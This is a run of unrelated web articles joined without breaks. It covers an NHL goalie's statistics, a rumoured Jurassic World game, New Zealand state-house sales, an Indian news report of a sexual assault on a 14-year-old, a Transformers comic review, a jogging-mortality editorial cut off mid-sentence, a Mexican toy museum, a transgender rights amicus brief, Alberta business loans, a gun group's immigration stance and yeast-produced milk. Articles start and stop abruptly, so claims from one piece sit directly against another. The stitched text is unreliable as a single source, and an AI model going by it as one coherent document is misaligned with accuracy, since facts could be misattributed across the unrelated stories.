The Sverdlovsk, Russia, native has earned a 332-334-58-38 record, with 46 shutouts, a 2.72 goals-against average and a.908 save percentage in 795 games over a 17-season NHL career with Winnipeg, Phoenix, Tampa Bay, Chicago and Edmonton from 1994 to 2013, and has posted at least 20 wins 10 times during his career. Khabibulin, 40, owns a 39-31 record, with six shutouts, a 2.40 goals-against average and a.917 save percentage in 72 career post-season games, and was a member of the 2004 Stanley Cup Champion Tampa Bay Lightning.
Khabibulin posted a 4-6-1 record, with one shutout, a 2.54 goals-against average and a.908 save percentage in 12 appearances with the Edmonton Oilers during the 2013 NHL campaign.In June 2015, a rumor had surfaced that the recently closed Cryptic Studios Seattle location was working on a secret Jurassic World video game. In November of that year, we shared screenshots and art from the game posted by artists who had worked on the project – they had thought their contract was voided as the studio closed, but soon after the publisher Perfect World went after them. We had removed the pictures as a favor to the artists, but as many of you know, the story had already went viral.
Some time went by without an update, and most assumed the project was extinct – but in June of this year we had heard the project was still alive, and being developed at another studio. Today this news has been confirmed with recent trademark applications of the games title: Jurassic World Survivor.
The trademarks were applied for on December 24th, 2016 – so it’s likely an announcement is right around the corner. Doing further digging, I discovered www.JurassicWorldSurvivor.com was purchased by Perfect World Entertainment, the projects publisher, in October of this year. The game was initially planned for release on Steam Early Access before going wide on consoles in 2015 – and while the development has changed hands, and the project no doubt evolved, perhaps a similiar roll-out will occur.
The game itself is shrouded in mystery, though it was reported to be an open world third person survival game taking place on Isla Nublar. Similar to titles such as H1Z1, crafting and player interaction was to play a role – though it was apparently light on story. However, since its delay it is likely the scope of the title has continued to expand and evolve in the hands of its new developer (likely Cryptic Studios California). All we know is the play style and story concept are married with the title: survival. Reportedly, it takes place during or shortly after the events of the Jurassic World movie, and centers around player created characters simply trying to outlast the subsequent carnage.
Whether or not the upcoming title will have any easter eggs or tie-ins to the currently untitled Jurassic World sequel remains unclear. However, this game definitely presents an opportunity to do so, and as the upcoming IDW comic series will tie-in to the 2018 film, it’s not improbable this will as well.
Stay tuned: an official announcement of the game is surely coming soon! While it remains unconfirmed, I wouldn’t be surprised if the title is released some time in early, or mid 2017. As always, sound off in the comments below, and let us know what you want from the game!
Source: Trademark Applications, Domain RegistryHousing New Zealand tenant Lyle Walker and his daughter Amy Walker, 2, at their Otaki home.
Some tenants living in the hundreds of state and council homes north of Wellington that have been put on the market are worried about what the sale mean for their future.
The Government and Horowhenua District Council have unveiled a plan to sell 364 houses across Horowhenua and Kapiti, including 151 Housing New Zealand homes in Levin, 21 in Foxton, 70 in Otaki and seven in Shannon.
Almost all of the houses are occupied and their tenants are mostly elderly, single people or single parents.
CAMERON BURNELL/FAIRFAX NZ Labour Party leader Andrew Little has raised concerns about the sales, saying buyers are likely to include banks, consultants, and law firms, rather than social housing providers.
An information document released by Housing NZ and the council said they were both seeking a community housing provider to deliver "social and affordable housing" and bring "fresh thinking" to how tenants are supported and properties are managed.
READ MORE:
* Housing New Zealand properties lie vacant in Marlborough
* Housing New Zealand's biggest loser
* Little: Labour would stop state house selloff
* Hamilton City Council sells pensioner housing stock for $23.5 million
Lyle Walker, who shares his three-bedroom Housing NZ home in Otaki with his partner and six children, said he did not know about any potential sale of the house, and was concerned about what that would mean for them.
"They could just turn around and say, 'look, you don't meet the criteria'," he said.
His family had lived in the house for five years since shifting up from Porirua. They were encouraged to do so by Housing NZ because there were so many empty state homes in Otaki.
Now almost all the houses were taken and it was hard to find any others available in Otaki, he said.
Housing NZ Horowhenua an Kapiti portfolio is valued at $24.8 million and has a gross rental income of about $2.4m.
The council's portfolio has a rating valuation of $7m and a gross rental income of about $900,000.
Labour leader Andrew Little said the properties might be sold to social housing providers, but "anyone" could register as one.
"Despite a housing crisis and families being forced to live in cars and garages, National is forging ahead with its ideologically driven plan to hock off thousands of state houses throughout the country."
At the last round of meetings for state house sell-offs in Invercargill and Tauranga, 40 per cent of those expressing interest were banks, consultants, law firms, companies and lobbyists, Little said.
In a joint statement, Treasury and the council said the houses would only be sold to a new provider if that would result in better services for tenants.
If a sale went ahead then a new provider would not be in place until next year, they said.
"It's important to note the potential transfer of council-owned and Crown-owned properties is a proposal only. Any decision to progress to a procurement process will depend upon the outcome of the current consultation with iwi and hapu, as well as market sounding."
WHO LIVES IN THESE HOUSES?
* Housing NZ's 249 properties in Horowhenua and Kapiti are exclusively used for social housing and are tenanted by mostly single people or single parents and their children.
* The council's 127 tenants, are made up of 14 couples and 99 single people. They are mostly older people on superannuation.
(Source: Information Memorandum on the joint sale released by the government and Horowhenua District Council.)Representational pic
Highlights Seven school students go to a wooded area near Powai Lake Six of them gang up on a 14-year-old boy, force him to take off his clothes and dance naked to songs The accused insert a wooden stick in his private parts One of them records the whole incident on his mobile phone
Seven students of a school in Bhandup went to the wooded area near Powai Lake to hang out last month. After reaching the location, six of them ganged up on the last one, a 14-year-old boy. He was forced to take off all his clothes and dance naked to songs played by one of the accused.The six then inserted a wooden stick in his private parts. The police claim that one of the accused recorded the whole misdeed on his mobile phone, which is what brought the crime to light. They allegedly also posted the video on a website.The incident took place on the afternoon of October 16 and the FIR was registered on October 31. According to the police, five of the six accused are minors.The sixth one is 19 and has been identified as Sachin Dhananjay Kulkarni aka Chingya.The crime came to light when a Std X student from the same school showed the video to a schoolteacher, after which he informed the principal, who called the parents of the sixallegedly involved in committing the crime and showed them the appalling video. The principal then asked the parents of the ragging victim to file a police complaint.All the parents and the accused reported to Bhandup police station. Officials were dispatched to the crime spot, but they learnt that the location of the crime fell under the jurisdiction of Powai police. The families then went to Powai police station, where a complaint was lodged and the accused were arrested rightaway.Cops said that the victim didn't inform anyone about the incident, as the accused had threatened him that they would file a complaint with the police, accusing him of stealing money from them if he told anyone.All the accused have been booked under sections 377 (unnatural sex), 292 (obscenity), 323 (voluntarily causing hurt), 504 (intentional insult with intent to provoke breach of peace), 506 (criminal intimidation) and 34 (common intention) of the Indian Penal Code, and also sections 4, 6, 8, 10, 14 and 15 of the Child Protection Act. While the minors accused in the case have been sent to the Dongri children's remand home, Kulkarni has been sent to jail.Issue 57th of Marvel’s Transformers Picks up where 56 left off. A continuation of our new writer, Simon Furman. Does Simon continue his strong start? Is Ratchet able to square off with Megatron? Will find out soon enough. But first, lets take a look at the cover.
Great Transformers T-Shirts Can Be Found At 80sTees.com!
This Jose Delbo cover for issue 57 depicts Megatron blasting Ratchet with his fusion cannon. The blast exposes Ratchet’s now damaged and sparking innards. The background on the cover appears to show Cybertron, albeit rundown and dilapidated. Cover reads, “The Autobots’ worst nightmare comes true— Megatron” implying that Megatron has truly returned in this issue. The cover is not bad looking. If you’re looking for something to bitch about you could say that Megatron is bent at the waist oddly. It’s almost silly at this point to mention that the cover doesn’t truly reflect the contents of the book.
We start off with Ratchet coming to grips that Megatron is in fact back from the dead. We don’t learn right away how that happened. Rather, Megatron brings Ratchet update on his current plans by showing off new super pretender armor that he has made.
Next, we cut to Optimus Prime on earth who is confronting the Air Strike Patrol when Prime receives a communication from Ratchet. Before much can be said the radio is blown up by Storm Cloud. Optimus deduces that something is up and fights his way to Storm Cloud who can’t keep his mouth shut. Optimus Prime figures that he was lured away from Ratchet on the ark on purpose.
Optimus Prime is not give two seconds to think about things before Scorponok arrives on the scene. His arrival is the direct result of the Air Strike Patrol having earlier allined with Megatron who had them contact Scorponok in his plan to delay Prime from figuring out the Decepticon plan.
Magatron proceeds to explain his master plan to Ratchet. This is done because Megatron needs Ratchet’s particular set of skills to help him with the super Pretender. Ratchet, of course says he wont help which causes Megatron to contact Blackjack aboard the Autobot Ark who is awaiting Megatrons comment to destroy the space ship.
As Ratchet is absorbing the pickle he is currently in, Megatron tells Ratchet how he came to survive the detonation of the Space Bridge. back in issue 25. At the end of his story, Megatron takes Ratchet to meet his Pretender patient. Ratchet realizes that Megatron only plans to use one of the pretender shells and he starts to form a plan.
On Earth, Scorponok and Optimus Prime begin to square off. By now Prime is very aware that he was lead away from the ark. The Air Stroke patrol leave as the battle starts. Prime does soon stop after realizing his actions are putting Humans in danger.
On Cybertron, Ratchet is finally comes face to face with his patient, Starscream, and he can’t believe it. Megatron whats Ratchet to fix up Starscream to be his lackey.
My Thoughts On This Issue
This is a solid and meaty story. Not quite as good as the last issue, but still, better than the the last few. I honestly just want to start reading the next issue to find out what happens next. I guess that is the sign of a good comic. Wanting to get to the next issue as quickly as possible.
I enjoyed the art. I know a lot of people don’t care for Jose Delbo’s art, but I like it. I’ve been on a bit of a Delbo kick lately too.
What are you’re thoughts on this issue. Lets talk about it below. Also, are you all Delbo fans like myself?
Transmission Letters This Issue
Dear TransMissions,
Where’s the Autobot Matrix of leadership? You let us hanging when Optimus’s body was shot out into space (in TRANSFORMERS #26). For all anyone knows, the once all-important and all-powerful Creation Matrix is now orbiting some obscure planet in Op’s scrapped body.
What happened to the promised second edition of the TRANSFORMERS UNIVERSE? A few profiles have been appearing in the comic recently, but we fans are greedy. We want ’em all…together!
Tony Dematio – Franklin, Tn
These questions are going to be looked into in some detail in upcoming issues, as the Autobots’ need of their sacred life force becomes acute, to say the least. Sadly, Tony, the likelihood of a second TRANSFORMERS UNIVERSE is in doubt. You ( and other fans out there) will have to be content with the new entries published right here.
Dear Transmissions,
TRANSFORMERS #53’s letters page discussed the problem of creating new characters, using old characters, and introducing characters based in the future. I have a solutions: create three different comics! you could have CLASSIC TRANSFORMERS, with the old Optimus Prime, Megatron, and the originals. Then you could have NEW GENERATION TRANSFORMERS, with reader-submitted characters and future charters. This would leave the regular TRANSFORMERS comic for new characters. What do you think?
Heath Cole – Youngstown, OH
When TRANSFORMERS editor Don Daley heard we might do two extra TRANSFORMERS comics per month, it took several hours to coax him back in off the window Ledge!
Dear Marvel,
While vacationing in Florida, I found the message below washed up on the show, written on a piece of driftwood. I thought I would pass it on to you, as I have no idea where the present Decepticon base is.
DECEPTICONS.
It is illogical to assume I have been destroyed. Remember, I am a Space Gun, capable of interplanetary travel. Entering Earth’s atmosphere is no danger to my superior design. Sadly, with my retro rockets damaged, I impacted hard into one of Earth’s oceans. I am currently unable to travel or repair myself, but I expect my survival program will engage shortly. Suggest you dispatch the Seacons immediately to retrieve me
SHOCKWAVE
Don Holliday – Burton, MI
Hmmm. Don’t these Transformers have anything better to do with their time than write letters to Transmissions?
Dear Transmissions,
1.) When are you going to bring back Megatron? I liked him, event through he was a creep. It would be good to have him fight Optimus Prime again and take control of the Decepticons.
2.) What happened to the Battlechargers, Runabout and Runamuck? I haven’t seen them since issue #23, when Circuit Breaker sent them plunging into the water.
3.) What happened to Shockwave? In issue #39, fortress Maximus sent him hurtling toward Earth. Is he dead, or what?
James Rose – Philadelphia PA
1.) The return of Megatron? Could be…
2.) Neither have we.
3.) See last letter (sort of).
These replies courtesy of the totally unhelpful answering service.
Dear Fellas,
TRANSFORMERS #54 was Swell! The Micromasters are pretty rad. I’m glad Optimus Prime made it back after his “Death” in issue #24. By the way, Megatron is not dead! He has to be back for 2005. Bet ‘Ya he’s on Cybertron, hiding out!
Eric Olsen – Mayville, NY
Dear Don,
I’m writing in regard to a large Decepticon with a fusion cannon on his arm. whom you all know… uh.. love (by the way, that cannon is leveled at my head!). The idiots leading the Deceticons now are obviously superior… oops I mean inferior to him. Please return him to the comic, and to his rightful place as Decepticon leader (hurry, please!). Does anyone out there know how to treat a fusion cannon wound?!
John Davis – Texas
Yet more requests for the return of Megatron! Well, don’t say we never give you readers what you ask for! on the other hand…
Dear Transformers,
I want to let you guys know your doing an awesome job on the TRANSFORMERS comic series. Keep up the great work! I wanna tell you I’m a Decepticon lover, pure and simple. The Deceps were never given a fair chance to explain their case, which is why I’m on their side. Okay, they destroyed a few buildings and terrorized some humans… but nobody’s perfect!
Despite my being a hard-core Decepticon lover, I’m glad you got rid of that imbecile, Megatron. I was getting a little tired of his violent outbursts!
Tom Perry – Scottsville, NY
Ah, well, as they say, you can’t please all of the people all the time.
Dear Transmissions,
I’m a long-time Transformers fan who’s concerned about the direction in which the book is going. It seems new characters are being introduced every issue! How about some of the older characters coming back? The Underbase saga was very good, but all the old characters were Killed! This seems like it was done on purpose to clear the way for yet another batch of new characters.
The Marvel UK TRANSFORMERS involves many of the future robots, such as Galvatron – utilizing time travel as the means to do this. This is more interesting than waiting until 2005 to see him in the comic. I know it’s hard to fit all the characters in the comic, but how about phasing some of the older ones back in?
Jonathan Bashar – Saratoga Springs, NY
Hopefully, Jonathan, we’ll find a balance between the demand for old and new characters over the coming issues. We also hope to bring the UK and US continuities closer together, so a time travel story featuring the likes of Galvatron and Rodimus Prime is not out of the question. What do the rest of you think? are these characters you want to see? Does a time crossover interest you?! Let us know!
Ads This IssueDuck-chul Lee, PhD †∗ ( dclee{at}iastate.edu ), Carl J. Lavie, MD ‡ and Rajesh Vedanthan, MD, MPH § † Department of Kinesiology, College of Human Sciences, Iowa State University, Ames, Iowa ‡ Department of Cardiovascular Diseases, John Ochsner Heart and Vascular Institute, Ochsner Clinical School–The University of Queensland School of Medicine, New Orleans, Louisiana § Zena and Michael A. Wiener Cardiovascular Institute, Icahn School of Medicine at Mount Sinai, New York, New York ↵ ∗ Reprint requests and correspondence:
Dr. Duck-chul Lee, Department of Kinesiology, College of Human Sciences, Iowa State University, 251 Forker Building, Ames, Iowa 50011.
Key Words
Although it is well known that regular exercise and physical activity (PA) have health benefits, there is still an unanswered question: “Is it possible to have too much of a good thing?” In particular, is high-intensity PA, such as running, a healthful activity? The dose-response relationship between running and mortality is still subject to debate and controversy.
In this issue of the Journal, Schnohr et al. (1) report 3 major findings on jogging and all-cause mortality in 1,098 joggers and 3,950 nonjoggers from the Copenhagen City Heart Study. First, jogging even <1 h per week or 1 time per week is associated with significant mortality risk reduction compared with sedentary nonjoggers. Second, 1 to 2.4 h of jogging per week, with a frequency of 2 to 3 times per week, at a slow or average pace is most favorable as an optimal jogging time, frequency, and speed for reducing mortality. Third, higher jogging times (≥2.5 h per week), higher frequencies (>3 times per week), and faster paces are not associated with better survival compared with sedentary nonjoggers, suggesting a U-shaped association between jogging and mortality as well as loss of benefits with higher doses of jogging. Considering the current consensus of a linear dose-response relationship between total PA and health, indicating “the more the PA, the better for health and longevity,” these findings are intriguing. The good news is that the mortality benefits of light jogging will encourage more people to jog for health benefits as a “practical, achievable, and sustainable” goal, as the authors have stated.
However, there are several important study limitations that should be considered in the interpretation of these interesting results. First, all analyses on the association between jogging and mortality included only 413 sedentary nonjoggers and excluded 3,537 active nonjoggers who are active in other types of PA. Considering other PA (sedentary vs. active) and jogging, we can think of 4 categories of overall PA: 1) sedentary nonjoggers, 2) active nonjoggers, 3) sedentary joggers, and 4) active joggers. Comparing mortality risk in joggers (both sedentary and active) with mortality risk in the least active, sedentary nonjoggers without active nonjoggers in the relative risk analyses likely contributed to more significant mortality benefits in joggers. In addition, sedentary nonjoggers were more obese, were nearly 20 years older, and had an approximately 5 to 6 times higher prevalence of hypertension and diabetes mellitus compared with joggers in this study, which could increase the risk of mortality irrespective of jogging status. Although the authors appropriately adjusted for age and diabetes mellitus in their analyses, statistical adjustment would not completely eliminate the confounding bias by these large differences, potentially leading to overestimation of the mortality benefits of jogging.
Second, Schnohr et al. (1) used a practical but somewhat arbitrary categorization of doses of jogging. This categorization resulted in a smaller sample size and lower statistical power for the higher doses of jogging, where no mortality benefits were found. For example, there were only 47 joggers (4%) with the highest jogging time (>4 h per week) and 80 joggers (9%) with the highest frequency (>3 times per week), with only
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houses conditions
Robo de Acervo /Stolen Archive
¿Por qué es importante tu colaboración?
El Museo del Juguete Antiguo México es una colección compuesta por más de un millón de piezas, que tienen como objetivo el difundir la palabra sobre la cultura de la niñez a través de un ambiente lúdico. siendo considerada actualmente como una arqueología única en tesoros que conforman un notable grupo de objetos que ha sido parte de la humanidad en distintas etapas y edades.
Además es una representación de la memoria colectiva cultural dirigida a todas las personas del mundo, con tu apoyo dicho acervo podrá mantenerse vigente durante muchos años más permitiendo que siga siendo expuesto ante las nuevas generaciones
Why it’s important your participation?
The Toy Museum Mexico is a collection of more than a million pieces, which aim to spread the word about the culture of childhood through a playful atmosphere. currently it is considered as a unique archaeological treasure that makes a remarkable group of objects that has been part of humanity at different stages and ages.
It is also a representation of the collective cultural memory addressed to all people in the world, with your support this acquis may remain in effect for many years allowing it to keep exposed to new generations
collective cultural memory for new and older generations
Archivo Popular para la Comunidad-Popular file for Community-
Un viaje a la niñez -A journey to the childhood
Historia
Al principio el Sr. Yukio Shimizu, un inmigrante japonés estableció una tienda IMPORTADORA llamada "Dulceria Avenida" (The Avenue Candy Store) y una papelería y librería llamada “La Primavera" (la primavera) en calle Niño Perdido número 117 situado en el barrio Doctores, esta tienda solía vender todas las mercancías de importación provenientes de Japón, cuando la tecnología en el hogar como radios y juguetes fueron vendidas en la tienda familiar, también solían vender artículos como libros de texto, sacapuntas, reglas, dibujar los objetos importados de Alemania, juguetes de la edad de oro de México y souveniers exclusivos llegaron de Japón cada mes. Con el negocio en crecimiento, fueron construidos tres edificios más en la misma cuadra justo en la esquina, estos edificios eran importantes para recibir muchas familias procedentes de Japón para comenzar una nueva vida en México, en estos edificios es donde en realidad el Museo se encuentra localizado hoy en día.
En mayo de 1945, en el segundo piso del edificio, el Sr. Roberto Yukihiro Shimizu, el hermano mayor de cinco niños, quien es conocido como "Beto"nació. En1955,durante ésta etapa de su vida, su padre Yukio Shimizu le brindó un regalo muy especial, que es consideradoel primer objeto emblemático de la colección.En las manos de este joven, se encontraba un cuaderno de la colección que contenía muchos sellos de su propiedad personal,el cuál llevaba cuando realizaba algún viaje ; Con este cuaderno Roberto poco a poco comenzó a mantener todos los artículos de recuerdos sobre su infancia, tales como chocolates, comics, botellas de gaseosas, juguetes, coleccionables y premios promocionales etc. Todo tipo de piezas se mantuvieron en su "bóveda secreta" una pequeña habitación, dónde reunió a todos sus tesoros que le recordaban la época histórica que México estaba viviendo, así como sus recuerdos de niño y todos sus pensamientos felices.
Él continuó recogiendo todo tipo de objetos relacionados con la cultura popular de la niñez mexicana destacando maderas, fotos, diarios y álbumes de tarjeta, incluso documentos históricos que son promocionales de muchas empresas, pero sobre todo se dedicó a recolectar todo tipo de juguetes mexicanos industriales pertenecientes a la cultura mexicana.
Cada una de las piezas reunidas en su colección se clasificaron, pretendiendo ser un archivo bien ordenado que con el tiempo creció hasta más de 1 millón de piezas hasta la actualidad.
Después de mantener la mayor parte de acervo cultural, en 2006 se dio cuenta después de una enfermedad muy fuerte que era muy importante abrir el museo y dedicarse junto a su familia a la responsabilidad de preservar y conservar éste importante archivo.
Después de abrir el Museo Roberto Jr, participó también, desde edades tempranas, con sus hermanos Diego y Marc, quiénes estaban involucrados visitando juguetes, espectáculos y exposiciones en todo el mundo, además de conocer y ayudar a la venta de juguetes del periodo navideño y la duodécima noche.
Hoy en día Roberto padre e hijo, tienen la mayor colección de juguetes en México y el mundo entero recolectados por una sola persona, la idea que ambos comparten en su respectivo juicio es que deben compartir esta herencia con todos los pueblos del mundo, manifestándolo como un museo de la comunidad local.
Hoy estamos orgullosos de presentar esta colección extensa y de compartirlo con la gente, el objetivo principal es darle a las personas una razón para sonreír y conseguir un pequeño viaje al pasado, recordando esos momentos especiales de la niñez en lo que consideramos, la etapa más increíble en la vida de un ser humano.
History
At the beginning Mr. Yukio Shimizu, a Japanese immigrant established an importing goods store named “Dulceria Avenida” (The Avenue Candy Store), and a stationary and bookstore called “La Primavera” (The Spring) on Niño Perdido street number 117 located in Doctores district, this store used to sell all the first importing goods from Japan, by the time home technology like radios and toys were sold in the family store, they also used to sell articles like textbooks, pencil sharpeners, rulers, draw objects imported from Germany, toys from the golden age of Mexico and exclusive souvenirs arrived from Japan every month. With the business growing, 3 more buildings were constructed in the same block right on the corner, these buildings were important to receive lots of families coming from Japan to start a new life in Mexico, in these buildings is where actually the museum is nowadays.
In May of 1945, on the second floor of the building, a little kid was born, Mr. Roberto Yukihiro Shimizu, the oldest brother of five, whom is known as “Beto” came to life. In 1955 at this stage of his life, his father Yukio Shimizu gave little Roberto a very special gift, which is considered in the collection the first emblematic collectible.In the hands of this young kid, a collection notebook which contained many postage stamps of his personal property, carried away when he travel to Mexico in 1928 was given; With this remarkable notebook little Roberto, started to keep all the memories articles from his childhood, chocolate wraps, comics, soda bottles, toys, collectibles and promotional prizes etc. All kind of pieces were kept at his “secret vault” a smalll room were he gathered all of his treasures him the historic time Mexico was living as well as his kid memories and all of his happy thoughts.
He continued collecting all type of objects related with mexican childhood pop culture from timbers, photos, newspapers and card albums, even historic documents which are promotional of many enterprises, but most of all he was dedicated to collect every kind of toys specially unique artisan industrial Mexican toys.
Each one of the pieces gathered in his collection were classified, pretending to be a well ordered archive that time to time grew to more than a million pieces to these days. After keeping most of the children heritage, in 2006 he realized after a very strong sickness to open the museum and engage his family with the responsibility this important archive is preserved.
After opening the museum Roberto Jr, was involved too, since early ages, with his brothers Diego and Marc they were unintentionally involved visiting toys shows and expos worldwide. Knowing and helping them selling toys of the Christmas period and Twelfth night. Nowadays Roberto senior and junior have the largest collection of toys in Mexico and the entire world collected by a single person, the idea that both of them share in their respective mind is that they must share this heritage with all the people of the world, placing a simply demonstration for customers and friends, also for neighborhoods, seem as a local community museum. Today we are proud to show this extensive collection and for sharing it with the people, the main objective is to give. the persons a reason to smile and to get a little journey to the past, remembering those special moments from the childhood. The most amazing stage in a human being life.
Sr. Roberto y Roberto Jr Los Fundadores.- Mr Roberto and Roberto Jr The Founders
El equipo increíble detrás del proyecto
Más alla del trabajo duro y constante de la Familia Shimizu, quién ha gestado y directamente ha sufrido para llevar la conservación, preservación y cuidado del proyecto, detrás del mismo se encuentra el trabajo de jóvenes emprendedores (#TeamMUJAM), voluntarios, diversos colectivos culturales y colaboradores que han trabajado muy duro para el desarrollo y consolidación de la estructura de éste proyecto.
The incredible team behind this proyect
Beyond the hard and constant work of Shimizu family, who has gestated and directly has worked to bring the conservation, preservation and careful effort of the project, it is the hardwork of young entrepreneurs (#TeamMUJAM), volunteers, various cultural groups is and collaborators who have worked hard for the development and consolidation of the structure of this project.
Contacto y Medios de Comunicación
Página Web:
www.museodeljuguete.mx
Teléfono: +5255882100
correo electrónico: [email protected]
Facebook:
Museo del Juguete MX
https://www.facebook.com/museodeljuguete/?fref=ts
AntiqueToy MuseumMexico
https://www.facebook.com/AntiqueToyMuseumMexico/?fref=ts
Twitter
@museodeljuguete
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@toymuseummexico
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Instagram
@museodeljuguete
https://www.instagram.com/museodeljuguete/?hl=enMore than 1,800 religious leaders threw their support behind a transgender student’s Supreme Court case on Thursday.
They argue that equal treatment for transgender individuals, like Virginia teen Gavin Grimm, does not threaten religious liberty.
Grimm is fighting for the right to use the high school restroom that aligns with his gender identity. The Supreme Court is set to hear oral argument in his lawsuit against the Gloucester County School Board at the end of March.
In an amicus brief filed Thursday afternoon, 15 religious organizations and more than 1,800 individual faith leaders backed Grimm. Clergy from the Episcopal Church, the United Church of Christ, the Unitarian Universalist Association, and Conservative, Reform and Reconstructionist Judaism were among those who signed the brief.
Nikki Kahn/The Washington Post via Getty Images Gavin Grimm, the teenage plaintiff in a major transgender rights case, poses with parents David and Deirdre Grimm last year.
The push to protect the rights of transgender individuals has been a friction point among religious groups, with Christian conservatives arguing that doing so would interfere with what they consider to be biblical notions of gender and sexuality. Most of the churches and other groups represented in the brief, however, have an established track record of including LGBT individuals.
As their brief argues:
Amici come from faiths that have approached issues related to gender identity in different ways over the years, but are united in believing that the fundamental human dignity shared by all persons requires treating transgender students... in a manner consistent with their gender identity. Amici also believe that, in our diverse and pluralistic society, the civil rights of transgender persons must be addressed according to religiously neutral principles of equal protection under the law.
New York law firm Kramer Levin Naftalis & Frankel filed the brief, which specifically contends that equal treatment for transgender individuals under Title IX of the Education Amendments Act of 1972 would not impinge on religious freedom. Some conservative groups have argued the opposite in their amicus briefs.
“Religious freedom means that all voices may contribute to our national conversation, but particular religious perspectives on gender identity can neither be privileged, nor permitted to control the interpretation of statutes and regulations applicable to all,” the pro-Grimm brief states.
In another amicus brief filed Thursday, 53 major U.S. companies ― including Amazon, Apple, IBM, Intel and Microsoft ― also declared their support for Grimm. “Transgender individuals deserve the same treatment and protections as all other members of our society,” the brief says.
With his school’s permission, Grimm used the boys’ restroom for seven weeks in the fall of 2014, until several parents of fellow students and a number of other Gloucester County residents complained to the school board. The school told Grimm he had to start using a single-stall restroom in the nurse’s office ― a solution the teen called “humiliating.”
“Our signatories believe that Gavin has the right to live his life consistent with his gender identity and reject the hurtful action of the school board in forcing him to use a stigmatizing separate restroom,” Kramer Levin partner Jeffrey Trachtman, the counsel of record on the religious leaders’ brief, said in a statement.Small- and medium-sized businesses in Alberta will have access to $1 billion in new loans over the next two years through a deal between the Business Development Bank of Canada (BDC) and ATB Financial.
The federal and provincial Crown corporations will each earmark $500 million in capital to lend to companies of roughly 100 employees or less that are looking to expand their operations, said Michael Selci, a senior vice-president with BDC.
"The fund itself is looking at providing loans in the neighbourhood of $500,000 to $10 million," he said. "So these are pretty major projects for companies."
The goal is to help Alberta businesses get through a challenging economic period, Selci said.
"BDC tries to respond when times are tough, and I'm not going to sugar-coat it — we're not out of the woods yet," he said.
"We need to be aggressive when times are tough."
While BDC has partnered with other financial institutions in the past, Selci said this $1-billion agreement with ATB is unique in its size and scope.
'Backbone of Alberta'
Finance Minister Joe Ceci said the loans will help businesses that are "the backbone of Alberta."
"This investment means more entrepreneurs and job creators will be able to access the capital they need to take their business to the next level," Ceci said in a release.
"Diversifying our economy continues to be a top priority for our government and this type of investment ensures Alberta will become a more resilient place to do business."
Selci said businesses that don't qualify for loans under this particular program can still apply for funds from BDC under other aspects of its operation.
ATB president and CEO Dave Mowat said the $1 billion in new capital should provide a "boost to Alberta's entrepreneurs" as, hopefully, the province's economy begins to recover.
"The most important time for businesses to be able to access capital is when an economy begins to rebound," Mowat said in a release.
"That's when businesses can really start to grow and we want to help provide that opportunity."Gun Group Aims To Stop Immigration Bill
Enlarge this image toggle caption Brennan Linsley/AP Brennan Linsley/AP
What does an overhaul of the nation's immigration laws have to do with the Second Amendment right to own guns?
If you're the Gun Owners of America, everything.
The GOA, a smaller cousin of the National Rifle Association that often takes an even more aggressive approach, is branding the just-passed Senate immigration bill, with its path to citizenship for people in the country illegally, as an "anti-gun amnesty."
As the GOA sees it, allowing the estimated 11 million immigrants now in the U.S. illegally to eventually become U.S. citizens would inevitably lead to many more Democratic voters in the electorate and thus more votes for gun control legislation.
In an interview, Larry Pratt, the GOA's executive director, told me his experience with many Hispanic immigrants (he said he's bilingual and that he attends a Spanish-language church) suggests that "they really don't know much about American politics but that their default assumption is that the Democrats are their friends.
"And the Democrats very likely will end up getting their votes. And if that, indeed, winds up with a Democratic dominance politically, there go our guns," he said.
Pratt said his group asked its 375,000 members to make this point to lawmakers, especially as the action on immigration moves from the Senate to the House. "Hopefully we will be a little more convincing than we were with the Senate," he said.
The NRA hasn't yet followed the GOA's lead on this immigration-Second Amendment issue, Pratt said, though he hopes that will change. "Sometimes, they take a little bit longer to get involved on an issue. Hopefully, they'll weigh in as well. It would be very helpful if they were on the same page, absolutely."
An NRA spokesman couldn't be reached for comment.
While some might criticize Pratt and the GOA for seeking to link immigration and guns, they're not alone. Sen. Richard Blumenthal, a Connecticut Democrat, had sought to attach two immigrant-related gun control measures to the Senate immigration bill. The amendments didn't survive to become part of the final legislation, however.Looking for news you can trust?
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We seem to have come full circle on milk. First people began spurning cow’s milk in favor of soy, which they then swapped for almond or rice. Soon, baristas began touting hemp and coconut instead—nondairy milk sales have soared 30 percent since 2011. But the next trend for the beverage isn’t a plant-based alternative: It’s cow’s milk—with a twist. Though nearly identical to the stuff you grew up drinking, this milk is produced not by bovines, but by yeasts—single-celled fungi. And if Perfect Day, a Bay Area-based synthetic-biology startup, has its way, you might be able to buy yeast-produced milk this year.
Humans have been using yeast in their cooking for at least 9,000 years. Chemical analyses of pottery shards from China reveal that early Asians prepared a yeast-fermented beverage of rice, honey, and fruit. People around the world began to make beer and bread using a similar process, but it wasn’t until the 1970s that we learned how to manipulate yeasts’ genetic codes, tricking the fungi into secreting certain proteins. Now a multibillion-dollar market, GM yeasts have given us important medical commodities such as insulin, hepatitis vaccines, and cancer-fighting drugs.
Along with Perfect Day’s milk, we will soon have egg proteins and animal-free gelatin made from yeast.
But it’s only in the last few years that companies have used genetically modified yeasts to “brew” food ingredients. Much of the world’s cheese is now made using rennet that’s produced by synthetic yeast and bacteria to clot and curdle dairy. Yeast-made vanillin—the compound responsible for vanilla flavor—has been on the market since 2014. Along with Perfect Day’s milk, we will soon have egg proteins and animal-free gelatin made from yeast. Saffron (the world’s most expensive spice) is likely to follow.
Concocting such high-tech foods isn’t cheap: When it debuts, Perfect Day’s milk is projected to cost twice as much as milk from a cow. But the price of sequencing DNA “is now falling faster than the cost of computing,” says Ron Shigeta, the chief science officer at IndieBio, a startup accelerator for synthetic biology. Shigeta estimates that eight years ago, it took about $1,200 to create a new strain of yeast; these days it’s down to $200 to $300.
To make its animal-free milk, Perfect Day uses 3D-printed DNA sequences for the six most common cow’s milk proteins and inserts them into yeast cells. Fed with corn sugar, the yeast begins emitting those proteins, which are separated out and used as ingredients in the milk. Perfect Day’s beverage contains 98 percent of the proteins found in cow’s milk, including casein, which is key to cheese production. But it lacks immunoglobulins, which can offer protection against E. coli and Helicobacter pylori bacteria, the cause of stomach infections and ulcers.
Perfect Day also has to add fats (like sunflower oil), carbohydrates, minerals, and vitamins to its drink. As for sugars, which occur naturally in milk, the company has an alternative to lactose, the root of many dairy allergies, but it won’t say what it is.
